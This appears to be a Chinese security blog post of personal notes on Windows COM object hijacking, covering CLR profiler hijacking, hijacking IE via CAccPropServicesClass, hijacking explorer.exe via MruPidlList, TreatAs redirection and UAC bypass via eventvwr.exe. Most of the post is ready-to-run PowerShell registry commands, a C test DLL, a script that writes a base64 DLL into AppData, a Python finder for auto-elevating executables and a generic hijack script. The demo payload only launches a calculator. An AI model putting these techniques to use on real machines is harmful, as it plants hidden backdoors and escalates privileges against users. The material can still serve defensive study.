Bu1'Blog

如果能控制粗鄙的狂喜,就不会有深入骨髓的悲伤。

0%

各类COM组件劫持实例学习到Bypass UAC

粗浅记录,仅做笔记使用

0x01 通过CLR劫持Terminal

CLR是.NET Framework的主要执行引擎,全称为Common Language Runtime。系统启动时会自动调用.net程序,加载CLR,从而触发设置后门好的后门,所以可以通过CLR劫持可以实现后门驻留。

新建一个不重复的CLSID节点

1
New-Item -Type Directory "HKCU:\software\classes\CLSID\{12345678-1234-1234-1234-123456789012}"

在节点下新建子健InProcServer32,默认值指向需要执行的DLL,这里以弹一个计算器为例。

1
New-Item -ItemType String "HKCU:\software\classes\CLSID\{12345678-1234-1234-1234-123456789012}\InProcServer32" -value "C:\tmp\test.dll"

标记DLL的线程模型,这里一般设置为Apartment

1
New-ItemProperty -Path "HKCU:\software\classes\CLSID\{12345678-1234-1234-1234-123456789012}\InProcServer32" -Name "ThreadingModel" -Value "Apartment"

以上命令执行完毕后可以看到注册表中成功写入了一个CLSID节点

![image-20211123171535628](各类COM组件劫持实例学习到Bypass UAC/image-20211123171535628.png)

这里通过设置环境变量来在当前CMD(这里用的是Terminal中的cmd)实现CLR劫持

1
2
SETX COR_ENABLE_PROFILING 1
SETX COR_PROFILER {12345678-1234-1234-1234-123456789012}

![image-20211123172526171](各类COM组件劫持实例学习到Bypass UAC/image-20211123172526171.png)

这几条命令的意思是设置用户环境变量,通过在我的电脑中

环境设置完毕后此时的Terminal调用.net程序时会加载恶意的CISID中设置的DLL,这里启动一个powershell作为测试。

![image-20211124140640317](各类COM组件劫持实例学习到Bypass UAC/image-20211124140640317.png)

通过上图可以发现在启动powershell的时候自动调用了设置的dll实现了对powershell的劫持,在目标对象使用powershell的时候就会触发后门。如果要实现全局CLR劫持可以考虑将相应的环境变量写入系统变量中。

如果在计算机级别设置变量,它们将应用于在该计算机上启动的所有应用程序。 在该计算机上打开的“命令提示符”窗口将具有这些环境设置,从该窗口中启动的任何应用程序也将如此。 这表示该计算机上的每个托管进程都将通过你的探查器启动。 若要 在计算机级别设置环境变量,请右键单击”我的电脑”,单击”属性”,单击”高级”选项卡,单击”环境变量”,将变量添加到”系统 变量“列表,然后重启计算机。 重启后,变量将在系统范围内可用。

源自官方手册

严格意义上来说CLR劫持并不是COM组件劫持的一种,因为CLR劫持也是通过CLSID实现,所以就放一起了。

0x02 通过CAccPropServicesClass劫持IE

现在IE用的比较少,但是通过IE启动需要执行的dll可以绕过Autoruns对启动项的检测。同时该方法也曾被木马COMpfun使用。

首先明确一下IE启动时的调用顺序:

  1. 查看CAccPropServicesClass的CLSID键{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
  2. 读取键下的子健InprocServer32
  3. 读取子健的值%APPDATA%\Microsoft\Installer{BCDE0395-E52F-467C-8E3D-C4579291692E}..

{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}对应CAccPropServicesClass

{BCDE0395-E52F-467C-8E3D-C4579291692E}对应MMDeviceEnumerator

一个问题,是否可以直接将default的值改为任意的dll路径。

测试:

首先新建一个CAccPropServicesClass的健{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}

1
New-Item -Type Directory "HKCU:\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}"

在这个键下面新建一个子健InprocServer32,并将default值设置恶意dll路径

1
New-Item -Type String "HKCU:\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32" -Value "C:\tmp\test.dll"

在子键中添加键值对ThreadingModel REG_SZ Apartment

1
New-ItemProperty "HKCU:\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32"-Name "ThreadingModel" -Value "Apartment"

注册表中:

![image-20211130173422589](各类COM组件劫持实例学习到Bypass UAC/image-20211130173422589.png)

启动IE测试:

![image-20211130173743281](各类COM组件劫持实例学习到Bypass UAC/image-20211130173743281.png)

注:测试的dll必须加互斥规则,不然无限次调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
参考3gstudent
#pragma comment(linker,"/OPT:nowin98")
BOOL TestMutex()
{
HANDLE hMutex = CreateMutex(NULL, false, "myself");
if (GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return 0;
}
return 1;
}
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
if(TestMutex()==0)
return TRUE;
WinExec("calc.exe",SW_SHOWNORMAL);
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}return TRUE;
}

通过测试说明其实直接劫持掉CAccPropServicesClass的健{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}也是可以达到劫持目的。

完整劫持测试:劫持CAccPropServicesClass和MMDeviceEnumerator,Windows是64位的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# 创建文件夹
New-Item -Path "$env:APPDATA\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}" -Type Directory | Out-Null

# 写入测试dll
$calc_x64 = ".." #太长了,直接从下方链接拿
$fileContentBytes = [System.Convert]::FromBase64String($calc_x64)
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl",$fileContentBytes)

# 创建CAccPropServicesClass的CLSID,default值指向MMDeviceEnumerator存储路径
New-Item "HKCU:\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32" -value "$env:APPDATA\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl"

# 创建键值对ThreadingModel REG_SZ Apartment
New-ItemProperty "HKCU:\SOFTWARE\Classes\CLSID\{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}\InProcServer32"-Name "ThreadingModel" -Value "Apartment"

部分代码来自3gstudent,这里的exe转base64再加载执行需要好好学习下

https://github.com/3gstudent/COM-Object-hijacking/blob/master/COM%20Object%20hijacking%20persistence.ps1

启动IE测试

![image-20211130194808673](各类COM组件劫持实例学习到Bypass UAC/image-20211130194808673.png)

0x03 通过MruPidlList劫持explorer.exe

系统启动时会默认启动explorer.exe,所以如果可以劫持explorer.exe可以起到一个主动后门的作用。explorer.exe会调用shell32.dll,并且加载com对象MruPidlList。MruPidlList对应的CLSID为{42aedc87-2188-41fd-b9a3-0c966feabec1}。

1
.\comHijack.ps1 "{42aedc87-2188-41fd-b9a3-0c966feabec1}" "C:\tmp\msg.dll"

![image-20211201112221119](各类COM组件劫持实例学习到Bypass UAC/image-20211201112221119.png)

此时在注册表中:

![image-20211201112153985](各类COM组件劫持实例学习到Bypass UAC/image-20211201112153985.png)

重启explorer.exe测试效果

1
Start-Process explorer.exe

血的教训,虚拟机里面测试!!!

0x04 通过TreatAS子键劫持家庭网络配置管理器

这种方法在2020年被APT-C-06组织利用过。通过在家庭网络配置管理器CLSID键上添加TreatAS子键实现劫持跳转到恶意的CLSID节点。这样当系统引用家庭网络配置管理器的CLSID时就会链接到新的CLSID上,从而加载恶意文件,达到COM劫持的目的。

详细的利用过程可以看之前写的COM组件劫持学习:从初识到简单利用

0x05 Bypass UAC

  • WIN 7

    eventvwr.exe将会自动提升权限至管理员。在它启动的时候将会寻找{0A29FF9E-7F9C-4437-8B11-F424491E3931}这个组件,按照上述描述的方法可以让eventvwr.exe来加载指定的dll来获取管理员权限。

    也是msf的bypassuac_comhijack模块的实现原理

  • WIN 10

    fodhelper.exe理论上也是可行的。

通过脚本查找更多可以利用程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Usage: findelevate.py C:\Windows\System32\
# Needs sigcheck.exe in path [https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx]

import sys
import os
import glob
import subprocess

if len(sys.argv) < 2:
print "Usage: findelevate.py <PATH>"
print "Ex: Usage: findelevate.py C:\\Windows\\System32\\"
sys.exit()

d = sys.argv[1]

if not (d.endswith('\\')):
d = d+'\\'

exefiles = []

if os.path.isdir(d):
exefiles = glob.glob(d+'*.exe')

i = 0
for exe in exefiles:
p = subprocess.Popen(['sigcheck', '-nobanner','-m', exe],stdout=subprocess.PIPE,stderr=subprocess.PIPE)
out, err = p.communicate()
if 'true</autoElevate>' in out: #will check for xmlns autoelevate as well. Thanks @mynameisv_
print exe.strip()
i = i + 1

print "Found " + str(i) + " executables with autoElevate set to true!"

引用自:https://www.cnblogs.com/heycomputer/articles/10263579.html

附:通用的劫持脚本

默认修改的是HKCU

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<#    
.EXAMPLE
./comHijack.ps1 -CLSID "{42aedc87-2188-41fd-b9a3-0c966feabec1}" -dll "C:\tmp\test.dll"
#>

[CmdletBinding()]
param(
[Parameter(Mandatory = $False,Position=2)]
[String]$key="HKCU:",

[Parameter(Mandatory = $True,Position=0)]
[String]$CLSID,

[Parameter(Mandatory = $True,Position=1)]
[String]$Dll
);

$key = "$key\SOFTWARE\Classes\CLSID\$CLSID"
# 新建键
New-Item -Path $key -Type Directory | Out-Null
# 新建子键
New-Item -Path "$key\InProcServer32" -Type String -Value "$Dll" | Out-Null
# 新建键值对
New-ItemProperty "$key\InProcServer32" -Name "ThreadingModel" -Value "Apartment" | Out-Null

echo "success!"